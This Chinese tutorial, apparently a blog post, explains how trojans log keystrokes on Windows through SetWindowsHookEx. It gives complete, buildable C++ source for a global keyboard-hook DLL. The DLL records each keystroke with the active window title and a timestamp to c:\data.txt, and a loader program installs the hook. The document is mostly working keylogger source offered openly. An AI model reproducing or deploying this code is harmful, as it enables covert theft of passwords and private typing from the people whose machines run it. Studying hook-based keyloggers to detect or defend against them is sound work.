简介
键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个函数能够实现优先拦截提交给特定窗口的信息,并进行拦截者需要的处理,然后再提交给窗口函数或是下一个钩子函数,函数第一个参数为idHook,需要设置钩子的类型,在以下代码样例中我们选择安装的钩子类型为WH_GETMESSAGE,用来拦截WM_KEYDOWN键盘信息。
注意点在于如果要使用这个函数进行Hook全局进程窗口信息的时候,要使用DLL调用,因为如今Windows系统中进程信息是相互隔离的,只有通过DLL注入其他进程才可以获取其他进程窗口的信息。
C++代码样例
1. 键盘钩子DLL主程序
// // // FileName : KbHook.cpp // Creator : PeterZheng // Date : 2019/2/12 09:32 // Comment : Keyboard Hook Demo // // #include <cstdio> #include <iostream> #include <cstdlib> #include <queue> #include <windows.h> using namespace std; //本文件模块句柄 HINSTANCE g_hInstance = NULL; // HOOK钩子句柄 HHOOK g_hHook = NULL; // 键盘记录日志路径 const CHAR KEYBOARD_LOG[30] = "c:\\data.txt"; // 字符串缓冲区默认长度 const SHORT BUFF_LENGTH = 100; CONST DWORD KeyMask = 0x80000000; // 创建共享内存段 // param szPreTitle 保存上一个文件标题 #pragma data_seg("sharedata") CHAR szPreTitle[BUFF_LENGTH] = { 0 }; #pragma data_seg() #pragma comment(linker, "/SECTION:sharedata,RWS") CHAR szBuff[BUFF_LENGTH] = { 0 }; /* 使用“表驱动”的方式进行键位映射,可减少大多数键盘记录器中存在的大量if-else结构的情况, 大幅度缩小程序体积。 */ // 键盘虚拟映射值表 CONST UCHAR SPECIAL_SIGN_MAPPING_TABLE[][20] = { {192, 189, 187, 219, 221, 220, 186, 222, 188, 190, 191}, {VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6, VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12}, {VK_ESCAPE, VK_TAB, VK_CONTROL, VK_MENU, VK_LWIN, VK_RWIN, VK_INSERT, VK_DELETE, VK_HOME, VK_RETURN, VK_SPACE}, {VK_NUMLOCK, VK_BACK, VK_END, VK_PRIOR, VK_NEXT, VK_CANCEL, VK_CLEAR, VK_SELECT, VK_PRINT, VK_EXECUTE, VK_LEFT, VK_RIGHT, VK_UP, VK_DOWN}, {VK_ADD, VK_SUBTRACT, VK_MULTIPLY, VK_DIVIDE, 190, 110}, {VK_NUMPAD0, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9} }; // 真实字符映射码表 CONST CHAR* CONST OBJECT_SIGN_MAPPING_TABLE[][20] = { {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}, { "!", "@", "#", "$", "%", "^", "&", "*", "(", ")" }, { "`", "-", "=", "[", "]", "\\", ";", "\'", ",", ".", "/" }, { "~", "_", "+", "{", "}", "\\|", ":", "\"", "<", ">", "?" }, { "[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[F11]", "[F12]" }, {"[ESCAPE]", "[TAB]", "[CTRL]", "[ALT]", "[LWIN]", "[RWIN]", "[INSERT]", "[DELETE]", "[HOME]", "[Enter]", "[SPACE]"}, {"[NUMLOCK]", "[BACKSPACE]", "[END]", "[PGUP]", "[PGDOWN]", "[CANCEL]", "[CLEAR]", "[SELECT]", "[PRINT]", "[EXCUTE]", "[←]", "[→]", "[↑]", "[↓]" }, {"+", "-", "*", "/", ".", "."}, {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}, }; // Dll执行入口 BOOL APIENTRY DllMain(_In_ void* _DllHandle, _In_ unsigned long _Reason, _In_opt_ void* _Reserved) { g_hInstance = (HINSTANCE)_DllHandle; switch (_Reason) { case DLL_PROCESS_ATTACH: break; case DLL_THREAD_ATTACH: break; case DLL_PROCESS_DETACH: case DLL_THREAD_DETACH: if (g_hHook != NULL) { UnhookWindowsHookEx(g_hHook); } break; } return TRUE; } // 获取当前本地时间 VOID GetFmLocalTime(CHAR* szFmTime) { ZeroMemory(szFmTime, BUFF_LENGTH); SYSTEMTIME sys_t; GetLocalTime(&sys_t); sprintf_s(szFmTime, BUFF_LENGTH, "%4d/%02d/%02d %02d:%02d:%02d ", sys_t.wYear, sys_t.wMonth, sys_t.wDay, sys_t.wHour, sys_t.wMinute, sys_t.wSecond); return; } // 把字符保存到文件 VOID SetDataToFile(CHAR *buff) { HANDLE hFile = CreateFile(KEYBOARD_LOG, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { MessageBox(NULL, "CreateFile Error", "Tips", MB_OK); return; } if (SetFilePointer(hFile, 0, NULL, FILE_END) == -1) { MessageBox(NULL, "SetFilePointer Error", "Tips", MB_OK); return; } DWORD dwWrite = 0; if (!WriteFile(hFile, buff, strlen(buff), &dwWrite, NULL)) { MessageBox(NULL, "WriteFile Error", "Tips", MB_OK); return; } CloseHandle(hFile); return; } // 键盘钩子回调函数 LRESULT CALLBACK KeyHookProc( _In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam ) { if (nCode < 0) return CallNextHookEx(g_hHook, nCode, wParam, lParam); if (nCode == HC_ACTION) { MSG *p = (MSG*)lParam; //判断是否由击键消息 if (p->message == WM_KEYDOWN) { UCHAR vKey = (UCHAR)p->wParam; ZeroMemory(szBuff, BUFF_LENGTH); // 时间和标题信息字符串 CHAR szInsert[BUFF_LENGTH] = "\0"; // 当前窗口名 CHAR szNowTitle[BUFF_LENGTH] = "\0"; HWND hForegroundWnd = GetForegroundWindow(); GetWindowText(hForegroundWnd, szNowTitle, BUFF_LENGTH); if (strcmp(szNowTitle, szPreTitle) != 0) { // 格式化时间字符串 CHAR szFmLocalTime[BUFF_LENGTH] = "\0"; GetFmLocalTime(szFmLocalTime); strcat_s(szInsert, BUFF_LENGTH, "\r\n\r\n< "); strcat_s(szInsert, BUFF_LENGTH, szFmLocalTime); strcat_s(szInsert, BUFF_LENGTH, szNowTitle); strcat_s(szInsert, BUFF_LENGTH, " >\r\n\r\n"); strcpy_s(szPreTitle, BUFF_LENGTH, szNowTitle); SetDataToFile(szInsert); } DWORD iShift = GetKeyState(VK_SHIFT); DWORD iCapital = GetKeyState(VK_CAPITAL); DWORD iNumLock = GetKeyState(VK_NUMLOCK); BOOL bShift = (iShift & KeyMask) == KeyMask; BOOL bCapital = (iCapital & 1) == 1; BOOL bNumLock = (iNumLock & 1) == 1; // 顶部数字键 if (vKey >= '0' && vKey <= '9') { if (!bShift) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[0][vKey - '0']); } else { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[1][vKey - '0']); } goto END; } // 标点符号键 for (int i = 0; i < 11; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[0][i]) { if (!bShift) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[2][i]); } else { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[3][i]); } goto END; } } // 字母键 if (vKey >= 'A' && vKey <= 'Z') { if (bShift || bCapital) { szBuff[0] = vKey; } else { szBuff[0] = vKey + 32; } goto END; } // F1 - F12 键 for (int i = 0; i < 12; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[1][i]) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[4][i]); goto END; } } // 特殊功能键 for (int i = 0; i < 11; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[2][i]) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[5][i]); goto END; } } for (int i = 0; i < 14; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[3][i]) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[6][i]); goto END; } } // 小键盘 for (int i = 0; i < 6; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[4][i] && bNumLock) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[7][i]); goto END; } } for (int i = 0; i < 10; i++) { if (vKey == SPECIAL_SIGN_MAPPING_TABLE[5][i] && bNumLock) { strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[0][i]); goto END; } } END: SetDataToFile(szBuff); } } return CallNextHookEx(g_hHook, nCode, wParam, lParam); } // 部署全局钩子 extern"C" __declspec(dllexport) BOOL StartHook() { if (g_hHook != NULL) return FALSE; //安装钩子 g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)KeyHookProc, g_hInstance, NULL); return TRUE; } // 卸载钩子 BOOL StopHook() { if (g_hHook != NULL) { if (!UnhookWindowsHookEx(g_hHook)) return FALSE; g_hHook = NULL; } return TRUE; }
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
- 100
- 101
- 102
- 103
- 104
- 105
- 106
- 107
- 108
- 109
- 110
- 111
- 112
- 113
- 114
- 115
- 116
- 117
- 118
- 119
- 120
- 121
- 122
- 123
- 124
- 125
- 126
- 127
- 128
- 129
- 130
- 131
- 132
- 133
- 134
- 135
- 136
- 137
- 138
- 139
- 140
- 141
- 142
- 143
- 144
- 145
- 146
- 147
- 148
- 149
- 150
- 151
- 152
- 153
- 154
- 155
- 156
- 157
- 158
- 159
- 160
- 161
- 162
- 163
- 164
- 165
- 166
- 167
- 168
- 169
- 170
- 171
- 172
- 173
- 174
- 175
- 176
- 177
- 178
- 179
- 180
- 181
- 182
- 183
- 184
- 185
- 186
- 187
- 188
- 189
- 190
- 191
- 192
- 193
- 194
- 195
- 196
- 197
- 198
- 199
- 200
- 201
- 202
- 203
- 204
- 205
- 206
- 207
- 208
- 209
- 210
- 211
- 212
- 213
- 214
- 215
- 216
- 217
- 218
- 219
- 220
- 221
- 222
- 223
- 224
- 225
- 226
- 227
- 228
- 229
- 230
- 231
- 232
- 233
- 234
- 235
- 236
- 237
- 238
- 239
- 240
- 241
- 242
- 243
- 244
- 245
- 246
- 247
- 248
- 249
- 250
- 251
- 252
- 253
- 254
- 255
- 256
- 257
- 258
- 259
- 260
- 261
- 262
- 263
- 264
- 265
- 266
- 267
- 268
- 269
- 270
- 271
- 272
- 273
- 274
- 275
- 276
2. DLL载入程序
// // // FileName : KbHookRunner.cpp // Creator : PeterZheng // Date : 2019/2/12 09:32 // Comment : Keyboard Hook Loader // // #include <windows.h> #include <cstdio> #include <cstdlib> #include <iostream> using namespace std; typedef BOOL(*StartHook)(); int APIENTRY WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) { HMODULE hModule = LoadLibrary("KbHook.dll"); if (hModule == NULL) { return 0; } StartHook STHK = (StartHook)GetProcAddress(hModule, "StartHook"); if (STHK == NULL) { return 0; } BOOL bRet = STHK(); if (bRet) { MessageBox(NULL, "Hook Success", "SetHook", 0); } else { MessageBox(NULL, "Hook Error", "SetHook", 0); return 0; } Sleep(100000); return 0; }
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43